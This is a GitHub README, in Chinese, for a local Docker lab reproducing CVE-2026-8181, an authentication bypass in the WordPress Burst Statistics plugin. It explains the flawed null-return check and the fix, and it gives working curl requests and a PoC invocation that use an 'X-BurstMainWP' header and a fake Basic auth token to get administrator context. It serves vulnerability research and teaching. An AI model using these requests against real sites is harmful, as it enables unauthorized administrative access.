rootdirective-sec/CVE-2026-8181-Lab
GitHub: rootdirective-sec/CVE-2026-8181-Lab
这是一个用于CVE-2026-8181漏洞研究的Docker实验环境,演示WordPress插件Burst Statistics的身份验证绕过问题。
Stars: 0 | Forks: 0
# CVE-2026-8181 — Burst Statistics 身份验证绕过实验
这是一个用于 **CVE-2026-8181** 的仅限本地 Docker 实验环境,该漏洞是 WordPress 插件 **Burst Statistics – Privacy-Friendly WordPress Analytics** 中的一个身份验证绕过漏洞。
本实验通过对比存在漏洞的插件版本与已修复的版本,并使用一个最低危害性的概念验证脚本来证明差异,期间不会创建用户、上传文件或修改 WordPress 状态。
## 概要
**受影响插件:** Burst Statistics – Privacy-Friendly WordPress Analytics
**受影响版本:** `3.4.0` 至 `3.4.1.1`
**修复版本:** `3.4.2`
**漏洞类型:** 身份验证绕过 / 不当身份验证
**影响:** 如果知道有效的管理员用户名,未经身份验证的攻击者可以在 REST API 请求期间冒充管理员。
在本实验中:
* `vuln` 运行 Burst Statistics `3.4.1.1`
* `patched` 运行 Burst Statistics `3.4.2`
* 概念验证脚本发送一个伪造的 Basic 身份验证密码,并附带 `X-BurstMainWP: 1` 头
* 存在漏洞的服务将请求视为管理员
* 已修复的服务拒绝相同的请求
## 实验架构
| 服务 | 描述 | URL |
| ------------ | -------------------------------------- | ----------------------- |
| `vuln` | WordPress + Burst Statistics `3.4.1.1` | `http://127.0.0.1:8081` |
| `patched` | WordPress + Burst Statistics `3.4.2` | `http://127.0.0.1:8082` |
| `db_vuln` | 用于存在漏洞 WordPress 的 MySQL | 仅内部访问 |
| `db_patched` | 用于修复后 WordPress 的 MySQL | 仅内部访问 |
| `seed` | 一次性 WP-CLI 初始化容器 | 仅内部访问 |
`seed` 服务会安装 WordPress,创建实验管理员,并在两个环境中激活 Burst Statistics。
实验管理员用户名:
```
labadmin
```
概念验证脚本故意使用错误的密码来证明绕过效果。
## 根本原因
Burst Statistics 包含一个与 MainWP 相关的代理身份验证路径。当 REST API 请求包含以下头信息时:
```
X-BurstMainWP: 1
```
Burst 会将身份验证委托给 `MainWP_Proxy::is_mainwp_authenticated()`。
在存在漏洞的版本中,该函数读取攻击者可控的 Basic 身份验证凭据,提取用户名和密码,并将它们传递给 WordPress 核心:
```
$is_valid = wp_authenticate_application_password( null, $username, $password );
```
问题出在返回值检查上。
### 漏洞逻辑:`3.4.1.1`
简化自 `includes/Frontend/class-mainwp-proxy.php`:
```
$is_valid = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
```
存在漏洞的代码仅拒绝 `WP_Error`。然而,当身份验证实际上未成功时,`wp_authenticate_application_password()` 可能返回 `null` 或其他非用户对象值。由于 `null` 不是 `WP_Error`,检查通过。
之后,插件查找提供的用户名并调用:
```
wp_set_current_user( $user->ID );
```
这使 WordPress 将当前的 REST API 请求视为该用户。如果用户名属于管理员,那么在请求的剩余部分中,WordPress 的能力检查会看到一个管理员。
## 修复逻辑
修复后的版本通过要求一个真实的已认证用户对象才能继续执行,从而修复了身份验证检查。
### 修复后的逻辑:`3.4.2`
从概念上讲,修复是:
```
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
```
重要的变化是,仅仅“非错误”的返回值已经不够了。身份验证结果必须是一个实际的 `\WP_User` 对象。
这阻止了存在漏洞的路径,即 `null` 绕过了旧的 `is_wp_error()` 检查。
## 为何重要
该实验演示了一个只读证明,使用了:
```
/wp/v2/users/me?context=edit
```
该端点足以显示 WordPress 是否认为该请求已通过身份验证。
现实世界的影响可能高于此实验证明。如果攻击者能在 REST API 请求期间冒充管理员,他们可能能够访问有权限的 WordPress 端点。在常见的 WordPress 配置中,管理员权限可以通过创建账户、应用密码、安装插件、修改主题或其他管理操作导致网站被持久接管。
本仓库有意避免了这些破坏性路径。
## 运行
```
docker compose up -d --build
```
等待一次性种子服务完成:
```
docker compose logs seed
```
预期的种子输出:
```
[+] vuln: Burst Statistics version = 3.4.1.1
[+] patched: Burst Statistics version = 3.4.2
[+] Seed complete
```
安装 Python 依赖:
```
python3 -m venv .venv
source .venv/bin/activate
pip install requests
```
针对存在漏洞的服务运行概念验证:
```
python poc/poc.py --base-url http://127.0.0.1:8081 --admin-user labadmin
```
预期的漏洞结果:
```
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 200
roles: ["administrator"]
[+] LIKELY VULNERABLE: request was treated as an authenticated user/admin context.
```
针对已修复的服务运行相同的概念验证:
```
python poc/poc.py --base-url http://127.0.0.1:8082 --admin-user labadmin
```
预期的修复结果:
```
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 401
[+] LIKELY PATCHED/NOT VULNERABLE: bypass headers did not authenticate the request.
```
## 手动测试
生成一个伪造的 Basic 身份验证令牌:
```
TOKEN=$(printf 'labadmin:not-the-real-password' | base64)
```
### 存在漏洞的服务
不带绕过头的基准请求:
```
curl -sS -i \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
```
预期:
```
HTTP/1.1 401 Unauthorized
rest_not_logged_in
```
绕过尝试:
```
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
```
预期:
```
HTTP/1.1 200 OK
"slug":"labadmin"
"roles":["administrator"]
```
### 已修复的服务
针对已修复的服务运行相同的绕过尝试:
```
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8082/?rest_route=/wp/v2/users/me&context=edit'
```
预期:
```
HTTP/1.1 401 Unauthorized
rest_not_logged_in
```
## 服务器端证据
存在漏洞的服务清楚地展示了行为变化:
```
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 200
```
已修复的服务拒绝未认证请求和绕过尝试:
```
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 401
```
## 安全说明
此概念验证脚本有意做到最低危害:
* 不创建管理员账户
* 不创建应用密码
* 不上传插件
* 不修改主题
* 不执行命令
* 不产生持久状态更改
* 概念验证脚本中设有仅限本地主机的防护
请仅在您自己的本地 Docker 环境中使用此实验。
## 参考资料
* NVD — CVE-2026-8181: [https://nvd.nist.gov/vuln/detail/CVE-2026-8181](https://nvd.nist.gov/vuln/detail/CVE-2026-8181)
* Wordfence 技术分析: [https://www.wordfence.com/blog/2026/05/200000-wordpress-sites-at-risk-from-critical-authentication-bypass-vulnerability-in-burst-statistics-plugin/](https://www.wordfence.com/blog/2026/05/200000-wordpress-sites-at-risk-from-critical-authentication-bypass-vulnerability-in-burst-statistics-plugin/)
* 存在漏洞的源代码参考,Burst Statistics 3.4.1.1: [https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Frontend/class-mainwp-proxy.php](https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Frontend/class-mainwp-proxy.php)
* 修复后的源代码参考,Burst Statistics 主干 / 3.4.2 路径: [https://plugins.trac.wordpress.org/browser/burst-statistics/trunk/includes/Frontend/class-mainwp-proxy.php](https://plugins.trac.wordpress.org/browser/burst-statistics/trunk/includes/Frontend/class-mainwp-proxy.php)
* 管理员辅助程序入口点: [https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Traits/trait-admin-helper.php](https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Traits/trait-admin-helper.php)
标签:Burst Statistics, CVE-2026-8181, Docker实验室, Maven, MySQL数据库, REST API, WordPress安全, WordPress插件, 基本认证, 安全PoC, 安全测试, 情报收集, 插件漏洞, 操作系统监控, 攻击性安全, 文件完整性监控, 未认证攻击, 概念证明, 漏洞研究, 漏洞验证, 版本对比, 管理员权限, 网络安全, 认证绕过, 请求拦截, 逆向工具, 隐私保护